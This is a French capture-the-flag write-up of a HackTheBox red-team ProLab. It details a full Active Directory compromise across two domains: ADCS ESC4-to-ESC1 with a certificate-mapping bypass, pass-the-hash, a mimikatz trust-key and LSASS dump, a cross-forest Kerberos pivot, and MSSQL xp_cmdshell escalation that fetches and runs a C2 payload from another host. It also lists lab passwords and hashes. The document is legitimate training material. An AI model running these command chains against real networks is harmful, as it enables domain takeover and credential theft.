Writeup ProLab

Mythical

Petit ProLab orienté red team. On démarre déjà avec un beacon Mythic actif sur un poste interne, suite à une campagne de social engineering simulée. Au programme : opérations C2, ADCS (ESC4->ESC1), contournement du Full Enforcement Mode, pivot cross-forest via une clé de confiance et abus MSSQL jusqu'à SYSTEM.

Platform: HackTheBox ProLabs
Tier: Red Team Operator I
Domaines: mythical-us.vl / mythical-eu.vl
Flags: Backup / Certified / Mythical Master
Date: 2026-06-16

1. Contexte et accès au C2

Mythical Inc. interdit toute sortie de données du réseau interne : le red team a donc déployé son propre serveur Mythic C2 à l'intérieur du périmètre. Un employé a exécuté un payload simulant une attaque de social engineering réussie, ce qui donne un beacon Apollo déjà actif sur un poste du domaine mythical-us.vl. Le point d'entrée fourni est l'interface web Mythic elle-même, pas un shell.

Accès initial

https://10.13.38.32:7443
mythic_admin : wG4jmjNcEcfmzv3QbEcJdSVTDEjCnX

Une fois loggué, je liste les callbacks via l'API GraphQL de Mythic. Le plus récent (host DC01, utilisateur Momo.Ayase) vient de checker-in. Je le tasque avec un simple whoami pour confirmer la prise de contrôle.

GraphQL : callbacks actifs

query { callback { id agent_callback_id host user ip os last_checkin } }

→ id 18, host DC01, user MYTHICAL-US\Momo.Ayase, agent Apollo

Résultat

whoami: success
Local Identity: MYTHICAL-US\Momo.Ayase
Impersonation Identity: MYTHICAL-US\Momo.Ayase

Pour piloter le C2 plus efficacement que des appels GraphQL bruts, j'utilise mythic-cli(client tiers en ligne de commande) une fois la configuration pointée sur le serveur du lab.

Configuration mythic-cli

mythic-cli config-set --server "https://10.13.38.32:7443/" --no-verify-ssl
mythic-cli login -u mythic_admin --password 'wG4jmjNcEcfmzv3QbEcJdSVTDEjCnX'

2. Énumération AD, partage rsync et flag Backup

Premier réflexe sur un beacon AD : charger SharpHound en mémoire viaregister_assembly puis l'exécuter avecexecute_assembly pour cartographier le domaine sans toucher le disque.

Collecte BloodHound en mémoire

register_assembly SharpHound.exe
execute_assembly SharpHound.exe -c All

En fouillant la machine en parallèle, je tombe sur une installation cwrsync dansC:\_admin\cwrsync\bin, configurée pour parler à un serveur rsync interne sans authentification. Je liste le module exposé puis je synchronise tout son contenu en local.

Énumération du module rsync exposé

rsync.exe --list-only rsync://192.168.25.1

Résultat

drwxr-xr-x          4,096 2026/06/10 09:12:01 .
-rw-r--r--         48,221 2026/06/10 09:12:01 20251212_BloodHound.zip
-rw-r--r--          2,184 2026/06/10 09:12:01 it.kdbx
→ module "mythical" accessible en lecture, sans credentials

Synchronisation complète du module

rsync -av rsync://192.168.25.1/mythical C:\bl4ckarch

Le coffre it.kdbx récupéré est en format KeePass 4 :keepass2john ne gère pas ce format, il faut keepass4brute.

Crack du coffre KeePass

keepass4brute it.kdbx ~/Downloads/rockyou.txt

Résultat

[+] Password found for it.kdbx
→ credentials du compte domjoin extraites du coffre, ainsi que le premier flag du lab

Résultat

••••••••••••••••••••••••••••••••Cliquer pour afficher

Premier butin engrangé : creds domjoin + outillage StandIn, Certify et Rubeus déjà uploadés sur la cible. Je repars de là pour enchaîner sur l'ADCS.

3. ADCS : ESC4 sur le template Machine, conversion en ESC1

Certify.exe find /vulnerable pointe le template Machine comme vulnérable à ESC4 : domjoin a des droits d'écriture sur ses ACLs. J'utilise StandIn pour impersonner domjoin puis reconfigurer le template afin d'activerENROLLEE_SUPPLIES_SUBJECT (le client peut choisir le SAN du certificat) et d'ouvrir l'enrollment à Domain Users. Le template devient alors exploitable comme un ESC1 classique.

Détection

Certify.exe find /vulnerable

Résultat

[!] Vulnerable Certificates Templates :
    CA Name                : dc01.mythical-us.vl\mythical-us-DC01-CA
    Template Name           : Machine
    [!] Vulnerable ACL      : ESC4 (WriteOwner / WriteDacl for domjoin)

Reconfiguration du template (ESC4 → ESC1)

StandIn.exe --ADCS --filter Machine --ess --add
StandIn.exe --ADCS --filter Machine --enroll --add

Une fois le template modifié, je demande un certificat avec un altname usurpant Administrator.

Requête de certificat

Certify.exe request /ca:dc01.mythical-us.vl\mythical-us-DC01-CA /template:Machine /altname:administrator@mythical-us.vl

4. KDC_ERR_CERTIFICATE_MISMATCH : contourner le Full Enforcement Mode

Avec ce premier certificat, Rubeus asktgt échoue systématiquement avecKDC_ERR_CERTIFICATE_MISMATCH. Symptôme classique du Full Enforcement Mode (KB5014754) : depuis le durcissement du strong certificate mapping, le KDC rejette tout certificat PKINIT qui usurpe une autre identité (SAN=Administrator) s'il ne porte pas l'extension de sécurité SID (OID 1.3.6.1.4.1.311.25.2). Je vérifie la valeur de registre pour confirmer le diagnostic.

Vérification du mode d'enforcement

(Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Kdc" -Name StrongCertificateBindingEnforcement -ErrorAction SilentlyContinue).StrongCertificateBindingEnforcement

Résultat

StrongCertificateBindingEnforcement : 2  (Full Enforcement)
Build : 20348.3692 (Windows Server 2022, à jour)

La version de Certify.exe présente sur la cible ne sait pas injecter cette extension. Il faut un build récent (fork GhostPack ou équivalent) qui supporte le flag /sid:sur la commande request. En attendant qu'il soit déposé sur la machine, je récupère le SID d'Administrator par une requête LDAP directe.

Récupération du SID Administrator

$de = New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Administrator,CN=Users,DC=mythical-us,DC=vl")
(New-Object System.Security.Principal.SecurityIdentifier($de.Properties["objectSid"].Value, 0)).Value

Résultat

S-1-5-21-614429729-4048209472-3755682007-500

Une fois le bon binaire en place, je relance la requête en injectant l'extension SID manuellement dans la CSR.

Requête avec extension SID

Certify.exe request /ca:dc01.mythical-us.vl\mythical-us-DC01-CA /template:Machine /altname:administrator@mythical-us.vl /sid:S-1-5-21-614429729-4048209472-3755682007-500

Résultat

X509v3 extensions:
    1.3.6.1.4.1.311.25.2 (Microsoft NTDS CA Security Extension)
        SidExtension : S-1-5-21-614429729-4048209472-3755682007-500

Conversion en PFX, upload sur la cible, puis nouvelle tentative Rubeus, cette fois avec/getcredentials pour extraire directement le hash NTLM après l'échange PKINIT.

Demande de TGT + extraction du hash NTLM

Rubeus.exe asktgt /user:Administrator /certificate:C:\Users\Momo.Ayase\cert.pfx /ptt /nowrap /getcredentials

Résultat

[+] TGT request successful!
[*] base64(ticket.kirbi) injected (ptt)
[*] NTLM           : C583EF48C5ED66C727AECB6FAB87AC12

La chaîne ESC4→ESC1 avec extension SID fonctionne : le Full Enforcement Mode est contourné, j'ai le hash NTLM d'Administrator et un TGT injecté dans le cache Kerberos courant.

5. SYSTEM sur DC01 via pass-the-hash loopback et flag Certified

Le module pth natif d'Apollo échoue (accès LSASS refusé, le process courant n'est pas élevé). Plutôt que de m'acharner sur l'injection locale, j'utilise le hash NTLM pour un mouvement latéral réseau via Invoke-SMBExec (toolkit Invoke-TheHash de Kevin Robertson), ciblé en loopback sur 127.0.0.1 pour créer un service distant qui s'exécute en SYSTEM.

Import du module

powershell_import Invoke-SMBExec.ps1

Exécution

Invoke-SMBExec -Target 127.0.0.1 -Domain mythical-us.vl -Username administrator -Hash C583EF48C5ED66C727AECB6FAB87AC12 -Command "C:\programdata\google\update.exe"

Résultat

[+] callback id=19, host=DC01, integrity_level=4 (SYSTEM)
Local Identity: NT AUTHORITY\SYSTEM

SYSTEM sur le premier contrôleur de domaine via la chaîne ESC4→ESC1, c'est le deuxième flag du lab qui tombe : Certified, lisible sur le bureau de ce callback.

Résultat

••••••••••••••••••••••••••••••••Cliquer pour afficher

6. Extraction de la clé de confiance inter-domaine

Le scénario implique un second domaine, mythical-eu.vl. Depuis SYSTEM sur DC01, mimikatz permet de dumper la relation de confiance entre les deux forêts.

Commande

mimikatz.exe "lsadump::trust /patch" exit

Résultat

[domain] mythical-eu.vl
[direction] outbound | inbound
[type] WINDOWS_ACTIVE_DIRECTORY
* [in] e98143ec508822a15e3a41742b7a6cba (RC4)
* [out] ...

→ mythical-eu.vl trust mythical-us.vl (confiance unidirectionnelle)

7. Pivot cross-domain vers mythical-eu.vl

Avec la clé RC4 de la confiance, je demande un TGT inter-royaume pour le compte de confiance du domaine et l'injecte directement dans le cache Kerberos.

Commande

Rubeus.exe asktgt /user:mythical-us$ /domain:mythical-eu.vl /rc4:e98143ec508822a15e3a41742b7a6cba /nowrap /ptt

Résultat

[+] TGT request successful!
[*] base64(ticket.kirbi) injected (ptt)
ServiceName : krbtgt/mythical-eu.vl

Ce ticket suffit pour énumérer le domaine distant via LDAP. Get-ADUser contredc02.mythical-eu.vl liste les comptes intéressants.

Commande

Get-ADUser -Filter * -Server dc02.mythical-eu.vl | Select-Object SamAccountName | Format-Table -AutoSize

Résultat

svc_ldap
svc_sql
root

8. Credentials hardcodées dans un binaire partagé

Un net view contre DC02 révèle un partage dev qui contient getusers.exe, un petit outil interne. Je le copie localement puis le décompile avec monodis pour inspecter l'IL.

Découverte et récupération du binaire

net view \\dc02.mythical-eu.vl
dir \\dc02.mythical-eu.vl\dev
copy \\dc02.mythical-eu.vl\dev\getusers.exe C:\Windows\Temp\getusers.exe

Décompilation et recherche de credentials

monodis --output=getusers.il getusers.exe
grep -A5 'ldstr "LDAP' getusers.il

Résultat

ldstr "LDAP://dc02.mythical-eu.vl"
ldstr "svc_ldap"
ldstr "osaRXWkDf2y5SGh5"

Mot de passe en clair dans le code pour svc_ldap. Comme souvent dans ce genre de scénario, le compte de service SQL réutilise le même mot de passe. Je le confirme en forgeant un nouveau token.

Vérification (make_token)

make_token mythical-eu\svc_sql osaRXWkDf2y5SGh5

Résultat

Successfully impersonated NT AUTHORITY\SYSTEM
Impersonation Identity: mythical-eu\svc_sql

9. Abus MSSQL : msdb TRUSTWORTHY vers sysadmin

svc_sql n'est pas sysadmin sur l'instance, mais c'est db_owner sur msdb, et cette base a le bit TRUSTWORTHYactivé. C'est la combinaison classique pour s'auto-promouvoir sysadmin via une procédure stockée créée avec EXECUTE AS OWNER.

Vérification des droits

SELECT is_srvrolemember('sysadmin');                          -- 0
SELECT is_member('db_owner') FROM msdb..sysusers;              -- 1
SELECT is_trustworthy_on FROM sys.databases WHERE name='msdb'; -- 1

Élévation vers sysadmin

USE msdb;
CREATE PROCEDURE sp_privesc WITH EXECUTE AS OWNER AS
EXEC sp_addsrvrolemember 'MYTHICAL-EU\svc_sql', 'sysadmin';
EXEC sp_privesc;

Résultat

EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

→ sysadmin confirmé, xp_cmdshell opérationnel (nt service\mssql$sqlexpress)

Je prépare la livraison du payload Apollo : un partage SMB sur DC01 héberge le binaire, etxp_cmdshell sur DC02 le copie puis l'exécute via un chemin UNC.

Livraison via xp_cmdshell

EXEC master..xp_cmdshell 'copy \\dc01.mythical-us.vl\bl4ckarch\update.exe C:\Users\Public\update.exe';
EXEC master..xp_cmdshell 'C:\Users\Public\update.exe';

Résultat

[+] callback id=20, host=DC02, process=MSSQL$SQLEXPRESS, integrity_level=3 (High)

10. SYSTEM sur DC02 : SeImpersonatePrivilege

Le process MSSQL hérite de SeImpersonatePrivilege, exploitable par les classiques attaques de type potato. Le module printspoofernatif d'Apollo n'est pas chargé sur cet agent (Task 'printspoofer' not loaded), il faut un binaire PrintSpoofer compilé à part pour passer la couche EDR du lab et spoofer un token SYSTEM via le service spouleur d'impression.

Confirmation des privilèges

getprivs

Résultat

Impersonation identity enabled privileges:
SeImpersonatePrivilege

Exécution PrintSpoofer

upload PrintSpoofer.exe
shell PrintSpoofer.exe -c "C:\Users\Public\update.exe"

Résultat

[+] Named pipe listening...
[+] CreateProcessAsUser() OK
→ nouveau callback DC02, integrity_level=4 (SYSTEM)

11. Flag final : Mythical Master

SYSTEM sur DC02, donc sur les deux contrôleurs de domaine du lab. Pour le troisième et dernier flag, je relance mimikatz avec sekurlsa::logonpasswordspour vider la mémoire LSASS. WDigest est activé sur cette machine : le mot de passe de root traîne en clair dans les credentials mises en cache.

Commande

mimikatz.exe "sekurlsa::logonpasswords" exit

Résultat

Authentication Id : 0 ; 123456 (00000000:0001e240)
Session           : Interactive from 1
User Name         : root
Domain            : MYTHICAL-EU
        * Username : root
        * Domain   : MYTHICAL-EU
        * Password : (cleartext, WDigest)

Le mot de passe en clair de root est le dernier flag du lab.

Résultat

••••••••••••••••••••••••••••••••Cliquer pour afficher

Récap

  • Accès : beacon Apollo déjà actif (Momo.Ayase@DC01) via C2 Mythic interne
  • Flag Backup : module rsync exposé sans auth → it.kdbx → creds domjoin (keepass4brute)
  • ESC4→ESC1 : template Machine reconfiguré (StandIn) → certificat altname=Administrator
  • Bypass Full Enforcement : extension SID (OID 1.3.6.1.4.1.311.25.2) injectée dans la CSR → contourne KDC_ERR_CERTIFICATE_MISMATCH → NTLM Administrator
  • Flag Certified : SYSTEM DC01 via Invoke-SMBExec en pass-the-hash loopback (PTH local refusé, LSASS protégé)
  • Trust : mimikatz lsadump::trust /patch → clé RC4 mythical-eu.vl ↔ mythical-us.vl
  • Pivot cross-forest : Rubeus asktgt inter-royaume → énumération AD sur mythical-eu.vl
  • Credentials hardcodées : getusers.exe sur le partage dev (DC02) → mot de passe svc_ldap réutilisé par svc_sql
  • MSSQL TRUSTWORTHY : msdb db_owner + TRUSTWORTHY → EXECUTE AS OWNER → sysadmin → xp_cmdshell
  • SYSTEM DC02 : SeImpersonatePrivilege exploité via PrintSpoofer
  • Flag Mythical Master : sekurlsa::logonpasswords sur DC02 → mot de passe cleartext de root (WDigest)